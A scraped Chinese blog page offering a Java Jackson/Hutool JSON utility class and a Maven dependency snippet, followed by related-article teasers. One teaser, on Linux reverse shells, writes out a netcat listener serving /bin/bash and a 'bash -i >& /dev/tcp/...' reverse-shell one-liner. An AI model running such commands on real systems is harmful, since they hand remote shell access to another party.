java--json工具

对象转化为string类型时,时间类型保持为字符串类型,而不是转化为时间戳(数字)

JsonUtils .java

package com.hfwy.energyelectrolysisauxiliary.utils;import cn.hutool.core.lang.Dict;
import cn.hutool.core.util.ArrayUtil;
import cn.hutool.core.util.ObjectUtil;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.core.type.TypeReference;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.exc.MismatchedInputException;
import lombok.AccessLevel;
import lombok.NoArgsConstructor;import java.io.IOException;
import java.util.ArrayList;
import java.util.List;/*** JSON 工具类** @author 芋道源码*/
@NoArgsConstructor(access = AccessLevel.PRIVATE)
public class JsonUtils {private static final ObjectMapper OBJECT_MAPPER = SpringUtils.getBean(ObjectMapper.class);public static ObjectMapper getObjectMapper() {return OBJECT_MAPPER;}public static String toJsonString(Object object) {if (ObjectUtil.isNull(object)) {return null;}try {return OBJECT_MAPPER.writeValueAsString(object);}catch (JsonProcessingException e) {throw new RuntimeException(e);}}public static <T> T parseObject(String text, Class<T> clazz) {if (StringUtils.isEmpty(text)) {return null;}try {return OBJECT_MAPPER.readValue(text, clazz);}catch (IOException e) {throw new RuntimeException(e);}}public static <T> T parseObject(byte[] bytes, Class<T> clazz) {if (ArrayUtil.isEmpty(bytes)) {return null;}try {return OBJECT_MAPPER.readValue(bytes, clazz);}catch (IOException e) {throw new RuntimeException(e);}}public static <T> T parseObject(String text, TypeReference<T> typeReference) {if (StringUtils.isBlank(text)) {return null;}try {return OBJECT_MAPPER.readValue(text, typeReference);}catch (IOException e) {throw new RuntimeException(e);}}public static Dict parseMap(String text) {if (StringUtils.isBlank(text)) {return null;}try {return OBJECT_MAPPER.readValue(text, OBJECT_MAPPER.getTypeFactory().constructType(Dict.class));}catch (MismatchedInputException e) {// 类型不匹配说明不是jsonreturn null;}catch (IOException e) {throw new RuntimeException(e);}}public static List<Dict> parseArrayMap(String text) {if (StringUtils.isBlank(text)) {return null;}try {return OBJECT_MAPPER.readValue(text,OBJECT_MAPPER.getTypeFactory().constructCollectionType(List.class, Dict.class));}catch (IOException e) {throw new RuntimeException(e);}}public static <T> List<T> parseArray(String text, Class<T> clazz) {if (StringUtils.isEmpty(text)) {return new ArrayList<>();}try {return OBJECT_MAPPER.readValue(text,OBJECT_MAPPER.getTypeFactory().constructCollectionType(List.class, clazz));}catch (IOException e) {throw new RuntimeException(e);}}}

pom.xml

  <!--hutool工具--><dependency><groupId>cn.hutool</groupId><artifactId>hutool-all</artifactId><version>5.8.15</version></dependency><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.83</version></dependency>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/177834.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring Cloud + Nacos 项目启动失败【No spring.config.import property has been defined】

在 Spring Cloud 项目使用 bootstrap.yaml 配置文件&#xff0c;添加 nacos 等相关参数配置&#xff0c;启动服务抛入如下异常&#xff1a; org.springframework.cloud.commons.ConfigDataMissingEnvironmentPostProcessor$ImportException: No spring.config.import set ... …

ubuntu配置免密登录vscode

1、配置免密登录 &#xff08;1&#xff09;在windows系统cmd下运行命令 ssh-keygen 一路回车&#xff0c;将会在C:\Users\用户名\.ssh目录下生成两个文件&#xff1a;id_rsa和id_rsa.pub。如下图所示。 &#xff08;2&#xff09;进入.ssh目录。如果想使用root用户&#xff0…

fastadmin学习笔记-----下拉框联动

fastadmin学习笔记----- fastadmin下拉框联动 学习笔记 下拉框联动 在项目中经常需要用到下拉框联动。网上的资料多有不全&#xff0c;所以根据自身经验&#xff0c;以笔记的形式发布出来。仅供参考。 上边的“ 状态 ” 下拉框用的动态下拉框&#xff0c;就是&#xff0c;s…

抖去推--短视频账号矩阵系统saas工具源码技术开发(源头)

目录 一、短视频矩阵系统搭建常见问题&#xff1f; 二、账号矩阵如何打造&#xff1f;&#xff08;企业号、员工号、达人号裂变&#xff09; 三、无人直播解决什么问题&#xff1f; 一、短视频矩阵系统搭建常见问题&#xff1f; 1、抖去推的短视频AI矩阵营销软件需要一定的技…

Python爬虫404错误:解决方案总结

在进行网络爬虫开发的过程中&#xff0c;经常会遇到HTTP 404错误&#xff0c;即“Not Found”错误。这种错误通常表示所请求的资源不存在。对于爬虫开发者来说&#xff0c;处理这类错误是至关重要的&#xff0c;因为它们可能会导致爬虫无法正常工作。本文将探讨Python爬虫遇到4…

Springboot 集成Redis

一、pom添加依赖 <!--redis--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId></dependency><!-- spring2.X集成redis所需common-pool2--><dependency&…

linux chmod命令详解

linux chmod命令详解 一、chmod命令使用方法二、chown与chmod的区别 一、chmod命令使用方法 chmod命令用于修改文件或目录的权限。在Linux系统中&#xff0c;文件和目录的权限分为读&#xff08;r&#xff09;、写&#xff08;w&#xff09;和执行&#xff08;x&#xff09;三…

易宝OA系统ExecuteSqlForSingle接口SQL注入漏洞复现 [附POC]

文章目录 易宝OA系统ExecuteSqlForSingle接口SQL注入漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 易宝OA系统ExecuteSqlForSingle接口SQL注入漏洞复现 [附POC] 0x01 前言 免责声明&#xff1a;请勿利用文章…

inBuilder低代码平台新特性推荐-第十一期

今天来给大家带来的是inBuilder低代码平台特性推荐系列第十一期——子表启用卡片式编辑&#xff01; 一、 场景介绍 表单子表的列比较多的场景中&#xff0c;若使用列表自带编辑器需要频繁拖动横向滚动条&#xff0c;而且不易进行数据分析、自查。所以项目中希望将子表的数据…

名创优品迈向“超级品牌”的关键两步

本文转载自产业科技 从国内到国外&#xff0c;从货架小店到超级门店&#xff0c;从便宜好物到兴趣消费&#xff0c;名创优品已经很难再被普通的零售概念所定义&#xff0c;它越来越像一个城市的潮流生活符号&#xff0c;标记出最活跃的年轻消费群体。 形象重塑背后可见品牌进…

ThreadLocal 有什么用

ThreadLocal在Java中是一个非常有用的工具&#xff0c;它可以帮助我们解决多线程环境下的数据共享问题。ThreadLocal是Java中的一个类&#xff0c;它提供了线程局部变量。这些变量是每个线程持有的&#xff0c;因此每个线程只能看到和修改自己的副本&#xff0c;而不会影响其他…

linux反弹shell

nc工具反弹shell 下面是windows主机找到nc打开1.bat输入&#xff1a;nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口&#xff0c; 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…

算法刷题-动态规划3(未完待续---------

算法刷题-动态规划3&#xff09; 01背包问题最后一块石头的重量 01背包问题 一篇文章吃透背包问题 大佬讲解什么是背包问题 问题分析&#xff1a; 面对这么多的物品&#xff0c; 选择一个个地来装入背包&#xff0c;背包的承重量不断地增加&#xff0c;二维数组中&#xff0c;…

【Linux】探索进程的父与子

目录 1.获取进程PID1.1进程PPID 2.通过系统调用创建进程-fork初识2.1为什么fork函数要给子进程返回0&#xff0c;给父进程返回pid&#xff1f;fork函数如何做到返回两次的&#xff1f;fork干了什么事情&#xff1f;怎么理解一个变量为什么有两个不同的值&#xff1f;如果父子进…

投标文件的胶装和封装以及注意事项

投标文件最后的胶装和封装的时间我们需要做的内容: 1.制作签字页码表&#xff08;法人签字有几处&#xff0c;页码11,12,13,89,678&#xff0c;代理人签字有几处&#xff0c;页码11,12,13,89,678 &#xff09;&#xff0c;目的为后期签字做准备。【关注首页&#xff0c;一般也…

docker部署flask服务

docker Docker是一种开源的容器化平台&#xff0c;它可以帮助开发者将应用程序及其依赖项打包成易于交付的、可移植的容器。Docker容器是基于Linux容器技术构建的&#xff0c;可以在任何类型的主机上运行&#xff0c;包括虚拟机、物理机或云服务器。 Docker容器提供了更高的性能…

【性能优化】页面静态化

文章目录 概述FreemarkerFreemarker入门案例Freemarker指令环境搭建创建模板文件生成文件 来源 概述 我们在使用购物网站的时候&#xff0c;会选择相应的商品点击查看详情&#xff0c;其实会发现每件商品的商品详情页面都是差不多的&#xff0c;除了一些数据外&#xff0c;其余…

【面试HOT200】滑动窗口篇

系列综述&#xff1a; &#x1f49e;目的&#xff1a;本系列是个人整理为了秋招面试的&#xff0c;整理期间苛求每个知识点&#xff0c;平衡理解简易度与深入程度。 &#x1f970;来源&#xff1a;材料主要源于【CodeTopHot200】进行的&#xff0c;每个知识点的修正和深入主要参…

Helix QAC 2023.3版本发布,新增对C++20的支持等多个功能,实现100%MISRA C++:2023®规则覆盖

Helix QAC 2023.3预期能够在2023年第4季度发布的新MISRA C指南中实现100%的MISRA C:2023规则覆盖。 此外&#xff0c;该版本还增加了对C20语言的扩展支持&#xff0c;并对Perforce Validate平台&#xff0c;以及Helix QAC与Validate的集成进行了改进&#xff0c;包括使用体验与…

Bitcoin SV 和 Bitcoin Core 之间首次跨链原子交换

我们已经执行了 Bitcoin SV 和 Bitcoin Core 之间的首次原子交换。 这一成就代表了比特币 SV 的重大进步&#xff0c;以去信任的方式促进了与其他区块链的无缝互操作性。 图片源自Gemini 在上一篇文章中&#xff0c;我们解释了原子交换的高级理论。 我们深入研究了使用哈希时间…